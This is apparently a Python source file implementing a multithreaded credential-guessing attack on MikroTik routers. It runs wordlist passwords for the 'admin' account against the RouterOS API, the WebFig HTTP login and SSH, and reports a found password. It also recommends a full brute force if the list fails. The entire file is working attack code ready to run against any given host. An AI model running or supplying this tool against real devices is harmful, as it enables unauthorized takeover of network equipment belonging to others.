network/mikrotik_wordlist_attack.py
2026-05-08 17:47:42 -05:00

256 lines
No EOL
9 KiB
Python

#!/usr/bin/env python3
"""
Optimized MikroTik Password Attack using Wordlist
Tests passwords from generated wordlist using most efficient methods
"""
import time
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
import socket
import requests
from requests.auth import HTTPBasicAuth
class MikroTikWordlistAttack:
def __init__(self, host, wordlist_file="mikrotik_wordlist.txt"):
self.host = host
self.wordlist_file = wordlist_file
self.username = "admin"
self.found_password = None
self.attempts = 0
self.start_time = None
self.lock = threading.Lock()
self.stop_flag = threading.Event()
def load_wordlist(self):
"""Load passwords from wordlist file"""
try:
with open(self.wordlist_file, 'r') as f:
passwords = [line.strip() for line in f if line.strip()]
return passwords
except FileNotFoundError:
print(f"Error: Wordlist file '{self.wordlist_file}' not found")
print("Run 'python3 generate_mikrotik_wordlist.py' first")
return []
def test_api_connection(self, password, port=8728, timeout=3):
"""Test MikroTik API connection (most reliable method)"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect((self.host, port))
# Send login command in MikroTik API format
def encode_length(length):
if length <= 0x7F:
return bytes([length])
elif length <= 0x3FFF:
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
return bytes([0xFF]) # Simplified for short strings
def write_word(sock, word):
word_bytes = word.encode('utf-8')
sock.send(encode_length(len(word_bytes)))
sock.send(word_bytes)
def write_sentence(sock, words):
for word in words:
write_word(sock, word)
write_word(sock, "")
def read_word(sock):
length_byte = sock.recv(1)
if not length_byte:
return ""
length = length_byte[0]
if length == 0:
return ""
if length & 0x80:
# Multi-byte length, simplified handling
length = length & 0x7F
if length > 50: # Sanity check
return ""
try:
return sock.recv(length).decode('utf-8', 'ignore')
except:
return ""
def read_sentence(sock):
sentence = []
try:
while True:
word = read_word(sock)
if word == "":
break
sentence.append(word)
except:
pass
return sentence
# Send login
write_sentence(sock, ["/login", f"=name={self.username}", f"=password={password}"])
# Read response
sock.settimeout(2) # Shorter timeout for response
response = read_sentence(sock)
sock.close()
return response and len(response) > 0 and response[0] == "!done"
except Exception:
return False
def test_http_connection(self, password, timeout=3):
"""Test HTTP connection"""
try:
# Test if we can access a protected resource
response = requests.get(
f"http://{self.host}/webfig/",
auth=HTTPBasicAuth(self.username, password),
timeout=timeout,
allow_redirects=False
)
# Success if we don't get 401/403
return response.status_code not in [401, 403]
except:
return False
def test_ssh_connection(self, password, timeout=3):
"""Test SSH connection"""
try:
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(
self.host,
port=22,
username=self.username,
password=password,
timeout=timeout,
allow_agent=False,
look_for_keys=False,
)
client.close()
return True
except paramiko.AuthenticationException:
return False
except Exception:
return False
def test_password(self, password):
"""Test a password using multiple methods"""
if self.stop_flag.is_set():
return False
with self.lock:
self.attempts += 1
current_attempts = self.attempts
# Progress reporting
if current_attempts % 10 == 0:
elapsed = time.time() - self.start_time
rate = current_attempts / elapsed if elapsed > 0 else 0
print(f"[*] Attempt {current_attempts} ({rate:.1f} pwd/sec) - Testing: {password}")
# Test methods in order of reliability and speed
methods = [
("API", lambda: self.test_api_connection(password)),
("HTTP", lambda: self.test_http_connection(password)),
("SSH", lambda: self.test_ssh_connection(password)),
]
for method_name, test_func in methods:
try:
if test_func():
print(f"\n*** SUCCESS! ***")
print(f"Password found: {password}")
print(f"Method: {method_name}")
print(f"Host: {self.host}")
print(f"Username: {self.username}")
print(f"Total attempts: {current_attempts}")
elapsed = time.time() - self.start_time
print(f"Time taken: {elapsed:.2f} seconds")
self.found_password = password
self.stop_flag.set()
return True
except Exception as e:
# If one method fails, try the next
continue
return False
def run_attack(self, max_workers=4):
"""Run the wordlist attack"""
passwords = self.load_wordlist()
if not passwords:
return None
print(f"Starting wordlist attack against {self.host}")
print(f"Username: {self.username}")
print(f"Passwords to test: {len(passwords)}")
print(f"Concurrent threads: {max_workers}")
print("=" * 60)
self.start_time = time.time()
# Use ThreadPoolExecutor for controlled concurrency
with ThreadPoolExecutor(max_workers=max_workers) as executor:
# Submit all password tests
future_to_password = {
executor.submit(self.test_password, pwd): pwd
for pwd in passwords
}
# Process results as they complete
for future in as_completed(future_to_password):
if self.stop_flag.is_set():
# Cancel remaining tasks
for f in future_to_password:
f.cancel()
break
password = future_to_password[future]
try:
result = future.result()
if result:
return self.found_password
except Exception as e:
print(f"Error testing {password}: {e}")
if not self.found_password:
elapsed = time.time() - self.start_time
print(f"\nWordlist attack completed.")
print(f"Total attempts: {self.attempts}")
print(f"Time taken: {elapsed:.2f} seconds")
print(f"No password found in wordlist.")
print("\nNext steps:")
print("1. Try generating larger wordlist with more patterns")
print("2. Consider full brute force attack")
print("3. Hardware reset if device is accessible")
return self.found_password
def main():
import sys
if len(sys.argv) < 2:
print("Usage: python3 mikrotik_wordlist_attack.py <HOST> [threads]")
print("Example: python3 mikrotik_wordlist_attack.py 10.250.2.2 8")
sys.exit(1)
host = sys.argv[1]
threads = int(sys.argv[2]) if len(sys.argv) > 2 else 4
attacker = MikroTikWordlistAttack(host)
password = attacker.run_attack(max_workers=threads)
if password:
print(f"\n✓ Attack successful! Password: {password}")
sys.exit(0)
else:
print(f"\n✗ Attack failed. No password found.")
sys.exit(1)
if __name__ == "__main__":
main()